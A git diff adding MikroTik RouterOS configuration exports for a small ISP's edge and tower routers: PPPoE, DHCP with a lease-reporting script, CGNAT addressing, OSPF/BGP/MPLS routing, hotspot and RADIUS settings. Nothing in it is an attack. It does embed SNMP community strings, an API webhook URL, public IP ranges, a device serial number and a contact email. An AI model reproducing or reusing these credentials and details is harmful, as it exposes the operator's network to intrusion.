add default-profile=pppoe disabled=no interface=ether5-jeff-tv max-mtu=1492 \
|
||||||
|
one-session-per-host=yes service-name=jeff-tv
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan100_netonix8 max-mtu=1492 \
|
||||||
|
one-session-per-host=yes service-name=service1
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan101_netonix9 max-mtu=1492 \
|
||||||
|
one-session-per-host=yes service-name=service2
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan102_netonix10 max-mtu=\
|
||||||
|
1492 one-session-per-host=yes service-name=service3
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan103_netonix13 max-mtu=\
|
||||||
|
1492 one-session-per-host=yes service-name=service4
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan104_netonix14 max-mtu=\
|
||||||
|
1492 one-session-per-host=yes service-name=service5
|
||||||
|
/interface sstp-server server
|
||||||
|
set certificate=vntx.net.pem_0
|
||||||
|
/ip address
|
||||||
|
add address=10.254.254.104 interface=lo network=10.254.254.104
|
||||||
|
add address=100.64.27.254/22 interface=ether2-netonix network=100.64.24.0
|
||||||
|
add address=204.110.188.158/27 interface=public network=204.110.188.128
|
||||||
|
add address=10.0.104.254/24 interface=culleoka-tower network=10.0.104.0
|
||||||
|
add address=10.10.111.254/20 interface=vlan10_ether2 network=10.10.96.0
|
||||||
|
add address=10.250.1.9/29 interface=ether1-climax-11ghz network=10.250.1.8
|
||||||
|
add address=10.250.1.49/29 interface=ether6-380-11ghz network=10.250.1.48
|
||||||
|
add address=100.64.111.254/20 comment="cgnat /20 (renumber)" interface=\
|
||||||
|
ether2-netonix network=100.64.96.0
|
||||||
|
/ip dhcp-server
|
||||||
|
add add-arp=yes address-pool=culleoka-cgnat dhcp-option-set=vntx interface=\
|
||||||
|
ether2-netonix lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=culleoka use-radius=accounting
|
||||||
|
/ip dhcp-server alert
|
||||||
|
add disabled=no interface=culleoka on-alert=rogue-dhcp valid-server=\
|
||||||
|
64:D1:54:D3:E1:50
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.10.111.14 mac-address=44:D9:E7:A8:58:C9
|
||||||
|
add address=10.10.111.50 mac-address=DC:9F:DB:6F:A6:24
|
||||||
|
add address=10.10.111.30 mac-address=00:04:56:D7:AD:09
|
||||||
|
add address=10.10.111.31 mac-address=00:04:56:D7:A9:55
|
||||||
|
add address=10.10.111.32 mac-address=00:04:56:D7:A9:85
|
||||||
|
add address=10.10.111.1 mac-address=78:45:58:A0:03:F3
|
||||||
|
add address=10.10.111.2 mac-address=78:45:58:A0:03:FC
|
||||||
|
add address=10.10.111.33 mac-address=58:C1:7A:73:BF:9E
|
||||||
|
add address=10.10.111.12 mac-address=78:45:58:A2:A9:0A
|
||||||
|
add address=10.10.111.34 mac-address=58:C1:7A:71:C5:25
|
||||||
|
add address=10.10.111.11 mac-address=78:45:58:A2:EC:F9
|
||||||
|
add address=10.10.111.61 mac-address=78:8A:20:EC:76:DC
|
||||||
|
add address=10.10.111.60 mac-address=44:D9:E7:5A:A8:0E
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.104.0/24 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.0.104.254 ntp-server=204.110.191.19
|
||||||
|
add address=10.10.96.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.111.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.24.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.27.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.96.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.111.254 ntp-server=204.110.191.19
|
||||||
|
add address=204.110.188.128/27 dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
domain=vntx.net gateway=204.110.188.158 ntp-server=204.110.191.19
|
||||||
|
/ip dhcp-server option sets
|
||||||
|
add name=vntx options=*1
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=10.254.254.104 disabled=yes list=bgp-networks
|
||||||
|
add address=10.10.96.0/20 disabled=yes list=bgp-networks
|
||||||
|
add address=100.64.24.0/22 disabled=yes list=bgp-networks
|
||||||
|
add address=204.110.188.128/27 disabled=yes list=bgp-networks
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether6-380-11ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-380-11ghz
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip hotspot ip-binding
|
||||||
|
add address=100.64.27.97 type=bypassed
|
||||||
|
add address=100.64.25.4 type=bypassed
|
||||||
|
add address=100.64.26.42 type=bypassed
|
||||||
|
add mac-address=E4:C3:2A:A1:11:50 type=blocked
|
||||||
|
add address=1.1.1.1 type=bypassed
|
||||||
|
add address=10.100.111.0/24 type=bypassed
|
||||||
|
add address=100.64.27.252 type=bypassed
|
||||||
|
add address=10.10.0.0/16 type=bypassed
|
||||||
|
add address=100.64.27.240 mac-address=F0:9F:C2:0D:56:F3 server=hotspot1 \
|
||||||
|
to-address=100.64.27.240 type=bypassed
|
||||||
|
add address=100.64.27.166 mac-address=24:A4:3C:32:18:D0 server=hotspot1 \
|
||||||
|
to-address=100.64.27.166 type=bypassed
|
||||||
|
add address=100.64.27.248/29 type=bypassed
|
||||||
|
add address=100.64.27.253 type=bypassed
|
||||||
|
add address=100.64.27.250 type=bypassed
|
||||||
|
add address=100.64.24.0/22
|
||||||
|
add address=204.110.188.128/27
|
||||||
|
add address=0.0.0.0/0 type=blocked
|
||||||
|
/ip hotspot walled-garden
|
||||||
|
add comment="place hotspot rules here" disabled=yes
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 enc-algorithm=aes-256,aes-128 \
|
||||||
|
hash-algorithm=sha256
|
||||||
|
/ip proxy
|
||||||
|
set cache-path=web-proxy1 port=23435
|
||||||
|
/ip proxy access
|
||||||
|
add src-address=10.0.0.0/8
|
||||||
|
add src-address=204.110.188.0/22
|
||||||
|
add src-address=100.64.0.0/10
|
||||||
|
add action=deny
|
||||||
|
/ip route
|
||||||
|
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.54
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8 certificate=vntx.net.pem_0
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=vntx.net.pem_0
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ip traffic-flow
|
||||||
|
set cache-entries=256k enabled=yes
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80::4/128 advertise=no interface=*D
|
||||||
|
add address=2606:1c80:1:4000::/52 advertise=no interface=culleoka
|
||||||
|
add address=2606:1c80:0:10::2 interface=ether1-climax-11ghz
|
||||||
|
/ipv6 dhcp-server
|
||||||
|
add interface=culleoka name=server1 prefix-pool=climax-v6
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether6-380-11ghz mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.104 transport-addresses=10.254.254.104 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether6-380-11ghz
|
||||||
|
/ppp aaa
|
||||||
|
set interim-update=1h use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.158 timeout=2s
|
||||||
|
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.158 timeout=2s
|
||||||
|
add accounting-backup=yes address=45.76.56.5 disabled=yes \
|
||||||
|
require-message-auth=no service=ppp,hotspot,dhcp src-address=\
|
||||||
|
204.110.188.158 timeout=2s
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
|
||||||
|
/routing bgp connection
|
||||||
|
add afi=ip,ipv6 cisco-vpls-nlri-len-fmt=auto-bits connect=yes instance=\
|
||||||
|
bgp-instance-1 listen=yes local.role=ibgp name=culleoka_climax \
|
||||||
|
nexthop-choice=force-self remote.address=10.250.1.14 .as=393837 .port=179 \
|
||||||
|
templates=default
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=20 disabled=no interfaces=\
|
||||||
|
ether1-climax-11ghz priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether6-380-11ghz priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v3 cost=10 disabled=no passive priority=1 use-bfd=no
|
||||||
|
add area=backbone-v2 disabled=no passive
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether1-climax-11ghz type=ptp
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether6-380-11ghz type=ptp
|
||||||
|
/routing ospf static-neighbor
|
||||||
|
add address=10.250.1.14%ether1-climax-11ghz area=backbone-v2 comment=climax \
|
||||||
|
disabled=no poll-interval=10s
|
||||||
|
add address=10.250.1.54%ether6-380-11ghz area=backbone-v2 comment=380 \
|
||||||
|
disabled=no poll-interval=10s
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.113681, -96.487876"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=Culleoka
|
||||||
|
/system logging
|
||||||
|
add action=logs topics=info
|
||||||
|
add action=logs disabled=yes topics=dhcp
|
||||||
|
add disabled=yes topics=dhcp
|
||||||
|
/system note
|
||||||
|
set note="__ __\
|
||||||
|
\n\\ \\ / /__ _ __ ___ _ __ __ _\
|
||||||
|
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
|
||||||
|
\n \\ V / __/ | | (_) | | | | (_| |\
|
||||||
|
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
|
||||||
|
\n _ _ _ _\
|
||||||
|
\n| \\ | | ___| |___ _____ _ __| | _____\
|
||||||
|
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
|
||||||
|
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
|
||||||
|
\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
|
||||||
|
\n\
|
||||||
|
\n###############################################################\
|
||||||
|
\n# Welcome to Verona Networks #\
|
||||||
|
\n# All connections are monitored and recorded #\
|
||||||
|
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
|
||||||
|
\n###############################################################\
|
||||||
|
\n\
|
||||||
|
\n" show-at-login=no
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/system scheduler
|
||||||
|
add interval=5m name=remove_hotspot on-event=\
|
||||||
|
"/ip hotspot host remove [/ip hotspot host find where !authorized]" \
|
||||||
|
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
|
||||||
|
start-time=startup
|
||||||
|
add name=reboot on-event="/system reboot" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
|
||||||
|
2025-01-21 start-time=03:20:00
|
||||||
|
/system script
|
||||||
|
add dont-require-permissions=no name=rogue-dhcp owner=admin policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
|
||||||
|
":log warning message=\"Rogue DHCP server detected!\""
|
||||||
|
/tool bandwidth-server
|
||||||
|
set enabled=no
|
||||||
689
mikrotik-tool/edge.rsc
Normal file
689
mikrotik-tool/edge.rsc
Normal file
|
|
@ -0,0 +1,689 @@
|
||||||
|
# may/08/2026 17:46:02 by RouterOS 6.49.18
|
||||||
|
# software id = 8XZE-R7EJ
|
||||||
|
#
|
||||||
|
# model = CCR2004-1G-12S+2XS
|
||||||
|
# serial number = C8A70C55A930
|
||||||
|
/interface bridge
|
||||||
|
add name=cgnat
|
||||||
|
add fast-forward=no name=loopback
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether1 ] rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus7 ] auto-negotiation=no name=\
|
||||||
|
sfp-sfpplus7-core-direct
|
||||||
|
set [ find default-name=sfp-sfpplus8 ] name=sfp-sfpplus8-server-switch \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus10 ] rx-flow-control=auto tx-flow-control=\
|
||||||
|
auto
|
||||||
|
set [ find default-name=sfp-sfpplus11 ] name=sfp-sfpplus11-preseem \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus12 ] l2mtu=1500 name=\
|
||||||
|
sfp-sfpplus12-spectrum rx-flow-control=auto tx-flow-control=auto
|
||||||
|
/interface vlan
|
||||||
|
add interface=sfp-sfpplus8-server-switch name=vlan9_sfpplus8 vlan-id=9
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip dhcp-server
|
||||||
|
add disabled=no interface=vlan9_sfpplus8 name=servers-public
|
||||||
|
/ip pool
|
||||||
|
add name=380building ranges=10.0.0.150-10.0.0.239
|
||||||
|
add name=servers-public ranges=204.110.191.193-204.110.191.217
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=380building disabled=no interface=sfp-sfpplus8-server-switch \
|
||||||
|
name=380-building
|
||||||
|
/ppp profile
|
||||||
|
add name=RWB_sstp_profile
|
||||||
|
/queue simple
|
||||||
|
add burst-limit=1M/1M burst-threshold=1M/1M burst-time=1s/1s disabled=yes \
|
||||||
|
limit-at=1M/1M max-limit=1M/1M name=Delinquent packet-marks=Delenquent \
|
||||||
|
priority=2/2 target=""
|
||||||
|
add burst-limit=1/1 burst-threshold=1/1 burst-time=1s/1s disabled=yes \
|
||||||
|
limit-at=1/1 max-limit=1/1 name=Inactive packet-marks=Inactive priority=\
|
||||||
|
2/2 target=""
|
||||||
|
/routing bgp instance
|
||||||
|
set default as=393837 out-filter=twc-out router-id=204.110.191.190
|
||||||
|
/routing ospf instance
|
||||||
|
set [ find default=yes ] distribute-default=always-as-type-1 router-id=\
|
||||||
|
10.254.254.254
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
set [ find default=yes ] distribute-default=always-as-type-1 \
|
||||||
|
redistribute-connected=as-type-1 router-id=10.254.254.254
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] name=onehuargd4a8974y79a497yi
|
||||||
|
add addresses=204.110.188.0/22,10.0.0.0/8 name=kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
|
||||||
|
10.254.254.254 target=remote
|
||||||
|
/user group
|
||||||
|
set full policy="local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,pas\
|
||||||
|
sword,web,sniff,sensitive,api,romon,dude,tikapp"
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m udp-timeout=30s
|
||||||
|
/ip neighbor discovery-settings
|
||||||
|
set discover-interface-list=!dynamic
|
||||||
|
/ip settings
|
||||||
|
set rp-filter=strict tcp-syncookies=yes
|
||||||
|
/ip address
|
||||||
|
add address=71.41.226.118/30 interface=sfp-sfpplus12-spectrum network=\
|
||||||
|
71.41.226.116
|
||||||
|
add address=204.110.191.186/30 interface=sfp-sfpplus11-preseem network=\
|
||||||
|
204.110.191.184
|
||||||
|
add address=204.110.191.254/26 interface=vlan9_sfpplus8 network=\
|
||||||
|
204.110.191.192
|
||||||
|
add address=10.254.254.254 interface=loopback network=10.254.254.254
|
||||||
|
add address=204.110.191.182/30 interface=sfp-sfpplus7-core-direct network=\
|
||||||
|
204.110.191.180
|
||||||
|
add address=10.0.0.254/24 interface=sfp-sfpplus8-server-switch network=\
|
||||||
|
10.0.0.0
|
||||||
|
add address=204.110.190.129/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.130/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.131/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.132/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.133/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.134/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.135/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.136/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.137/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.138/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.139/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.140/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.141/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.142/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.143/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.144/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.145/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.146/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.147/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.148/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.149/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.150/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.151/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.152/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.153/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.154/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.155/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.156/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.157/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.158/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.159/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.160/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.161/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.162/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.163/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.164/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.165/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.166/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.167/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.168/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.169/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.170/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.171/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.172/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.173/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.174/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.175/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.176/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.177/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.178/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.179/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.180/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.181/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.182/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.183/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.184/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.185/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.186/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.187/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.188/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.189/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.190/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.191/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.192/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.193/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.194/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.195/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.196/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.197/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.198/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.199/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.200/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.201/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.202/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.203/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.204/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.205/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.206/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.207/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.208/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.209/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.210/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.211/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.212/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.213/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.214/25 interface=cgnat network=204.110.190.128
|
